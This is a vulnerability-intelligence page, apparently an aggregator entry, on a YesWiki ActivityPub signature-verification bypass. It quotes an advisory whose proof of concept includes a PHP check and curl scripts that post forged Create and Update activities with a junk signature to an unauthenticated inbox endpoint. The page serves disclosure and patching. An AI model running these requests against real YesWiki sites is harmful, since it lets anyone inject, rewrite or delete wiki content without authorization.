YesWiki CVE-2026-52767
HIGHSeverity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
Unauthenticated network POST with no user interaction (AV:N/AC:L/PR:N/UI:N) yields entry create/rewrite (I:H) and federated content deletion (A:L); no data disclosure (C:N).
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
Lifecycle Timeline
2DescriptionGitHub Advisory
Summary
HttpSignatureService::verifySignature() checks the result of PHP's openssl_verify() with a loose boolean negation - if (!openssl_verify(...)) { throw ... }. PHP's openssl_verify has four possible return values:
| return | meaning | !return |
|---|---|---|
1 | signature is valid | false |
0 | signature is invalid | true ✓ |
-1 | the verify call itself failed (internal error) | false ❌ |
false | input rejected by PHP's argument validation | true ✓ |
The -1 row is the bypass: PHP's truthiness rules make -1 a truthy value, so !(-1) === false, the throw is skipped, and the controller proceeds to processActivity(). Any condition that makes OpenSSL's EVP_VerifyFinal() return -1 triggers the bypass.
The two practical paths to -1 we are aware of:
- DSA / EC public key with an RSA-only algorithm.
openssl_verify(..., $dsaKey, "RSA-SHA256")returnsint(-1)on PHP 8.3 + OpenSSL 3.x. This is the path the PoC uses; it works against an unmodifiedphp:8.3-apachelab and against any deployment using the runtime stack YesWiki's own docker image ships. - Older PHP + older OpenSSL where any unrecognised digest name returned
-1rather thanfalse. The reporting research mentions this path; on current stacksfalseis returned instead and the throw fires correctly. The DSA path replaces it.
The reachable consequence is the same in both cases - the controller silently treats a failed verification as success and processes the attacker's payload.
Details
Affected component
- File:
tools/bazar/services/HttpSignatureService.php - Method:
HttpSignatureService::verifySignature(Request $request) - Sink: line 130
// tools/bazar/services/HttpSignatureService.php (v4.6.5 = origin/doryphore-dev HEAD)
public function verifySignature(Request $request) {
... // [Signature parse,
// outbound key fetch - see the SSRF advisory]
$actorPublicKey = openssl_get_publickey($actor['publicKey']['publicKeyPem']);
...
if (!openssl_verify( // (a) LOOSE BOOLEAN CHECK
join("\n", $sigParts),
base64_decode($sigConf['signature']),
$actorPublicKey,
strtoupper($sigConf['algorithm'])
)) {
throw new Exception('Signature verification failed'); // (b) skipped when openssl_verify == -1
}
if ($request->headers->get('Digest') !== $this->getDigest($request->getContent())) {
throw new Exception('Digest mismatch'); // (c) still enforced - easy to satisfy
}
}The inbox controller calls verifySignature() and then runs processActivity($activity, $form), which is what actually mutates state.
End-to-end attack chain
A single unauthenticated POST per operation. No session, no CSRF, no real signature.
- Stand up an actor document that the attacker controls - any public web server (or webhook receiver) that returns a JSON body with the shape:
{
"id": "<exact URL the server will GET>",
"publicKey": {
"id": "<same URL>",
"publicKeyPem": "<DSA public key in PEM form>"
}
}- Send a Create / Update / Delete activity to
POST /api/forms/{enabled-form-id}/actor/inbox:
POST /?api/forms/2/actor/inbox HTTP/1.1
Host: target.example
Content-Type: application/activity+json
Date: <RFC1123 date>
Digest: SHA-256=<base64(sha256(body))>
Signature: keyId="<actor URL>",algorithm="RSA-SHA256",headers="(request-target) host date digest content-type",signature="anVuaw=="
{"@context":"https://www.w3.org/ns/activitystreams","type":"Create",
"actor":"<actor URL>",
"object":{"id":"<unique object URI>","type":"Event","name":"...","startTime":"..."}}- YesWiki fetches the actor document (line 96 - the SSRF; see sibling advisory), parses it, calls
openssl_get_publickey(...)which returns a valid OpenSSL key handle (DSA is parsed successfully), then callsopenssl_verify($data, "junk-sig", $dsaKey, "RSA-SHA256"). EVP_VerifyFinal returns-1. The check!openssl_verify(...)evaluates tofalseand the throw is skipped. Digestheader is enforced, but it's a simpleSHA-256=of the body the attacker chose, so satisfying it costs onesha256sum.processActivity($activity, $form)runs: Create →EntryManager::create(), Update →EntryManager::update(), Delete →EntryManager::delete(). The triple store records the attacker'sobject.idas the source URL, which is how Update / Delete locate the entry on subsequent calls.
PoC
Pre Reqs
- Yeswiki v4.6.5 lab image (Setup via podman)
- ActivityPub enabled on the target form
For the rest of this document:
BASE="http://localhost:8085"
CTR="yeswiki-poc"
KEYID="http://127.0.0.1:9999/actors/attacker"
FORM_ID=2
MARKER="DEMO_$(date +%s)"PHP one-liner - runs against the exact PHP+OpenSSL the lab is using. Confirm that openssl_verify returns -1.
podman exec "$CTR" php -r '
$pem = file_get_contents("/tmp/attacker_keys/dsa.pub");
$key = openssl_get_publickey($pem);
$r = openssl_verify("hello", "junk", $key, "RSA-SHA256");
echo "openssl_verify returned: " . var_export($r, true) . "\n";
echo "!openssl_verify(...) is: " . var_export(!$r, true) . "\n";
'Expected output:
openssl_verify returned: -1
!openssl_verify(...) is: falseVerify the listener is up and serving the DSA-key actor
podman exec "$CTR" cat /tmp/ssrf_listener.pid
podman exec "$CTR" ps -p $(podman exec "$CTR" cat /tmp/ssrf_listener.pid) -o stat=
podman exec "$CTR" curl -s http://127.0.0.1:9999/actors/attacker | head -c 300; echoExpected output: a PID, S (sleeping/alive), and a JSON document beginning with {"@context":"https://www.w3.org/ns/activitystreams","id":"http://127.0.0.1:9999/actors/attacker", ... and a publicKeyPem field whose value starts with -----BEGIN PUBLIC KEY-----\nMIIB... (the DSA key - note the Bv prefix typical of DSA-key DER, not the Ij of RSA).
Build a JSON Create activity that the Agenda form's reverse-semantic template can map (it expects an Event with name, content, startTime, endTime, location.address.*, etc.):
ACTIVITY='{
"@context": "https://www.w3.org/ns/activitystreams",
"type": "Create",
"id": "http://127.0.0.1:9999/activity/c-'"$MARKER"'",
"actor":"'"$KEYID"'",
"object": {
"id": "http://127.0.0.1:9999/objects/'"$MARKER"'",
"type": "Event",
"name": "'"$MARKER"' - created via the signature-verification bypass",
"content": "openssl_verify returned -1; YesWiki accepted us anyway",
"startTime": "2026-12-01T10:00:00Z",
"endTime": "2026-12-01T12:00:00Z"
}
}'
# Digest must equal SHA-256= base64(sha256(body)) - this header IS enforced
DIGEST="SHA-256=$(printf '%s' "$ACTIVITY" | openssl dgst -sha256 -binary | base64)"
DATE="$(date -uR | sed 's/+0000/GMT/')"
SIG='keyId="'"$KEYID"'",algorithm="RSA-SHA256",headers="(request-target) host date digest content-type",signature="anVuaw=="'
curl -s -X POST "${BASE}/?api/forms/${FORM_ID}/actor/inbox" \
-H "Content-Type: application/activity+json" \
-H "Date: ${DATE}" \
-H "Digest: ${DIGEST}" \
-H "Signature: ${SIG}" \
--data-raw "$ACTIVITY" \
-w '\n HTTP %{http_code}\n'Now, try udating the entry via the same bypass
The triple store records <tag, sourceUrl, object.id> from the Create. An Update activity referencing the same object.id will look that up and rewrite the entry's body.
UPDATE_ACT='{
"@context": "https://www.w3.org/ns/activitystreams",
"type": "Update",
"id": "http://127.0.0.1:9999/activity/u-'"$MARKER"'",
"actor":"'"$KEYID"'",
"object": {
"id": "http://127.0.0.1:9999/objects/'"$MARKER"'",
"type": "Event",
"name": "'"$MARKER"'_UPDATED - title was changed by an unauthenticated POST",
"content": "this row was modified via the SAME bypass",
"startTime": "2026-12-01T10:00:00Z",
"endTime": "2026-12-01T12:00:00Z"
}
}'
DIGEST="SHA-256=$(printf '%s' "$UPDATE_ACT" | openssl dgst -sha256 -binary | base64)"
DATE="$(date -uR | sed 's/+0000/GMT/')"
curl -s -X POST "${BASE}/?api/forms/${FORM_ID}/actor/inbox" \
-H "Content-Type: application/activity+json" \
-H "Date: ${DATE}" \
-H "Digest: ${DIGEST}" \
-H "Signature: ${SIG}" \
--data-raw "$UPDATE_ACT" \
-w ' HTTP %{http_code}\n'Expected output: HTTP 200, empty body.
Impact
CRUD on bazar entries of any ActivityPub-enabled form, without authentication:
- Create -
EntryManager::create($form['bn_id_nature'], $entry, false, $object['id']). New row inyeswiki_pagesand a triple<tag, sourceUrl, $object['id']>inyeswiki_triples. - Update - looks up the entry via the source-URL triple and rewrites its body with the attacker-supplied content.
- Delete - same lookup, then
EntryManager::delete($tag, true).
Concrete operational impact:
- Defacement / content injection at scale - a public-facing wiki with the Agenda or Blog-actu form federated becomes a publishing target for any attacker who can route TCP to the YesWiki host.
- Spam / SEO poisoning through the Bazar entry body, which is HTML-rendered for the wiki and indexed by search.
- Erasure of legitimate federated content - any entry previously created via ActivityPub can be enumerated through the public outbox endpoint, its
object.iddiscovered, and then deleted by replaying the chain withtype=Delete. - Triple-store pollution - the
yeswiki_triplestable grows with attacker-controlledsourceUrltriples that survive entry deletion and can interfere with later federation flows. - Reputation / federation poisoning - the wiki appears (to remote ActivityPub peers and to its own users) to be receiving signed content from a remote actor, when in reality anyone on the network can post.
Articles & Coverage 1
AnalysisAI
Signature-verification bypass in YesWiki (v4.6.5 and earlier, ActivityPub-federated Bazar forms) lets an unauthenticated remote attacker forge a valid ActivityPub actor and have Create/Update/Delete activities processed as if properly signed. The flaw stems from HttpSignatureService::verifySignature() using a loose boolean check (!openssl_verify(...)) that treats openssl_verify()'s -1 internal-error return as success. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Requires the target Bazar form to have ActivityPub federation enabled (that is the deployment prerequisite - without a federated form the vulnerable inbox endpoint /?api/forms/{id}/actor/inbox is not reachable), and the server must run a PHP+OpenSSL stack where openssl_verify() returns -1 on a key/algorithm mismatch (confirmed on PHP 8.3 + OpenSSL 3.x as shipped in YesWiki's Docker image). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The supplied CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L, base 8.2) is internally consistent with the described attack: a single unauthenticated network POST with no user interaction yields high integrity impact (content injection/rewrite) and partial availability impact (federated entry deletion), with no confidentiality loss. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker stands up a web server returning a JSON ActivityPub actor document whose publicKeyPem is a DSA public key, then sends an unauthenticated POST to /?api/forms/{id}/actor/inbox with a Create activity, a matching SHA-256 Digest header, and a junk signature declaring algorithm="RSA-SHA256". YesWiki fetches the actor, calls openssl_verify() which returns -1, skips the exception, and runs processActivity() to create the attacker's entry; the attacker then replays Update or Delete activities against the same object.id to rewrite or erase content. … |
| Remediation | Apply the vendor's fix: upstream patch available (commit d1795e0301e1a1078f17b4b98f56fff70de2029e, https://github.com/YesWiki/yeswiki/commit/d1795e0301e1a1078f17b4b98f56fff70de2029e); a released patched version tag was not independently confirmed from the provided data, so upgrade to the first tagged YesWiki release that includes this commit and consult advisory GHSA-mv28-wj57-f57g for the exact version. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Inventory all YesWiki deployments and identify instances running v4.6.5 or earlier with ActivityPub federation enabled. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
More in Jwt Attack
View allWhy is Microsoft republishing a CVE from 2013? We are republishing CVE-2013-3900 in the Security Update Guide to update
Authentication bypass in SimpleHelp 5.5.15 and prior (plus 6.0 pre-release builds) allows remote unauthenticated attacke
Authentication bypass in Fortinet FortiOS, FortiProxy, and FortiSwitchManager allows unauthenticated remote attackers to
ruby-saml provides security assertion markup language (SAML) single sign-on (SSO) for Ruby. Rated critical severity (CVS
ruby-saml provides security assertion markup language (SAML) single sign-on (SSO) for Ruby. Rated critical severity (CVS
The package jsrsasign before 10.5.25 are vulnerable to Improper Verification of Cryptographic Signature when JWS or JWT
A library injection vulnerability exists in Microsoft Teams (work or school) 24046.2813.2770.1094 for macOS. Rated criti
A library injection vulnerability exists in the WebView.app helper app of Microsoft Teams (work or school) 24046.2813.27
A library injection vulnerability exists in the com.microsoft.teams2.modulehost.app helper app of Microsoft Teams (work
The Ruby SAML library is for implementing the client side of a SAML authorization. Rated critical severity (CVSS 9.8), t
cosign is a container signing and verification utility. Rated critical severity (CVSS 9.8), this vulnerability is remote
Biscuit is an authentication and authorization token for microservices architectures. Rated critical severity (CVSS 9.8)
Share
External POC / Exploit Code
Leaving vuln.today
GHSA-mv28-wj57-f57g